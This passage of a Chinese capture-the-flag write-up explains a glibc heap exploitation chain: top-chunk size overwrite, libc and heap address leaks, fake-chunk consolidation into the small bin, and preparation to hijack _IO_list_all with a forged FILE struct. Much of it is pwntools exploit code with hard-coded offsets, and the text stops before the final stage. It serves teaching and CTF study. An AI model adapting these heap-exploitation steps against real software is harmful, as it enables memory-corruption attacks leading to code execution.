p = malloc(0x800); p = realloc(p, 0x1000); p = realloc(p, 0x2000); free(p)
组合使用这两个 trick ,就可以往 unsorted bin 放入一个很大的堆块。并且后续也可以用第二个 trick 触发 unsorted bin 的遍历。
初次以外,本题中我们还需要使用第二个 trick 来往堆上预先放置一些数据。(这个技巧真的很牛)
具体利用时,还需要处理很多细节,步骤并不像这里说的这么直接。
具体攻击流程解析
信息泄漏
本次攻击需要我们泄漏堆地址以及 LIBC 基址。
关于 LIBC 基址,只要将堆块释放到 unsorted bin 中再泄漏 fd 即可。这里我们使用 house of orange 所用到的 trick,将 top chunk size 溢出修改后,借用 scanf() 的缓冲区来触发 malloc(),将 top chunk 释放进入 unsorted bin。
1 2
add(1, b"a" * 0x48 + p64(0xd11)) # original top chunk size: 0x??d11 sla(b"> ", b'0'*0xfff+b'2') # trigger realloc to put top chunk into unsorted bin
Allocated chunk Addr: 0x5ef482d92030 Size: 0x00 (with flag bits: 0x00)
为了提前布置数据,我们在泄漏数据之前加入这样一行代码:
1
sla(b"> ", b'0'*0xd58 + b'3') # arrange heap layout. '3' is a valid size. take effect in line 74
这个神秘的偏移可以通过动态调试拿到。这个’3’也就是 fake chunk 的 size 位。
在解决了后向合并问题之后,我们还需要考虑前向合并问题。显然,只要释放堆块的 PREV_IN_USE bit 是 1,那 free() 就不会尝试合并前面的堆块。
于是我们可以写出第一个版本的代码:
1 2 3 4 5 6
add(1, b'a'*0x48 + pack(0xd01)) free() add(2, b'b') # tcache do not care how large the chunk it gives out (0xd01) free() add(1, b'a'*0x48 + pack(0x91)) sla(b"> ", b'0'*0xfff+b'2') # trigger malloc to the big-unsorted-bin-loop and put the fake chunk into small bin
然而,如果运行这段代码,会发现我们没有通过位于 unsorted bin 循环中的检测,也就是 top chunk 之后那两个哨兵堆块想要解决的那些检测。具体来说,我们想要放入 small bin 中的那个堆块之后的堆块(也就是 0x56cefdc442f0+0x90),其 PREV_INUSE bit 是 1,这就不能通过 malloc() 的检查。
为了通过这个检查,EXP 采用的方法也很精彩:在将目标堆块释放进入 unsorted bin 的时候,在其之前构造一个 fake chunk 并触发两个堆块的合并,从而将目标堆块起始位置前移。这样一来,我们就有机会在目标堆块+0x90 的位置提前布置好两个哨兵堆块。
1 2 3 4 5 6
add(1, b'a' * 0x10 + pack(0) + pack(0x31) + 2*pack(heap_base+0x2c0) + b'a'*0x10 + pack(0x30) + pack(0xd00)) # fake chunk to be consolidated with target chunk free() add(2, b'a'*0x50 + pack(0x90) + pack(0x10) + pack(0) + pack(0x11)) # 2 guard fake chunk free() # trigger a consolidate with the 0x31 fake chunk in chunk-0x40, now we have a fake chunk in unsorted bin add(1, b'a'*0x10 + pack(0) + pack(0x91)) sla(b"> ", b'0'*0xfff+b'2') # trigger malloc to the big-unsorted-bin-loop and put the fake chunk in chunk-0x40 into small bin
wide_data_off = 0xa0# wide data field in _IO_FILE vtable_off = 0xd8# vtable field in _IO_FILE wide_data_vtable_off = 0xe0# vtable field in wide_data FILE structure
_IO_wfile_overflow_ptr = libc_base+0x2160d8# _IO_wfile_overflow address __overflow_off = 0x18# overflow field offset in vtable do_alloc_off = 0x68# do_alloc field offset in wide_data vtable
_IO_list_all = libc_base+0x21a680 system = libc_base+0x50d60
sla(b"> ", b'0'*0xd58 + b'3') # arrange heap layout (very very niu bi trick) '3' is a valid size. take effect in line 74
# leak libc and heap
add(1, b"a" * 0x48 + p64(0xd11)) # top chunk origin size: 0x??D11 sla(b"> ", b'0'*0xfff+b'2') # trigger realloc to put top chunk into unsorted bin (very niu bi trick) free() add(1, b"a" * 0x50) show() ru(b'a'*0x50) libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x219ce0 success("libc_base: "+hex(libc_base)) free() add(1, b"a" * 0x48 + p64(0xcf1)) # repair corrupted size
free() add(2, b'a') # this chunk is split from old top chunk in unsorted bin free() add(1, b"a" * 0x50) show() ru(b'a' * 0x50) heap_base = u64(ru(b'\n')[:-1].ljust(8, b'\x00')) << 12# leak tcache protect key (which xswl) success("heap_base: "+hex(heap_base)) free()
# smallbin to tcache
# construct fake chunk to be consolidate with old top chunk (need to satisfy unlink macro) add(1, b'a' * 0x10 + pack(0) + pack(0x31) + 2*pack(heap_base+0x2c0) + b'a'*0x10 + pack(0x30) + pack(0xd00)) free() add(2, b'a'*0x50 + pack(0x90) + pack(0x10) + pack(0) + pack(0x11)) # taken from tcache, but actually a very big chunk (0xd00) overlaping with the old top chunk which is in unsorted bin free() # trigger a consolidate with the 0x31 fake chunk in chunk-0x40, now we have a fake chunk in unsorted bin add(1, b'a'*0x10 + pack(0) + pack(0x91))
sla(b"> ", b'0'*0xfff+b'2') # trigger malloc to the big-unsorted-bin-loop and put the fake chunk in chunk-0x40 into small bin
# we can't hijack data in standard FILE struct directly because we have only *one* 0x80 bytes arbitrary write # so we have to fake a FILE struct on heap and hijack the _IO_list_all pointer to it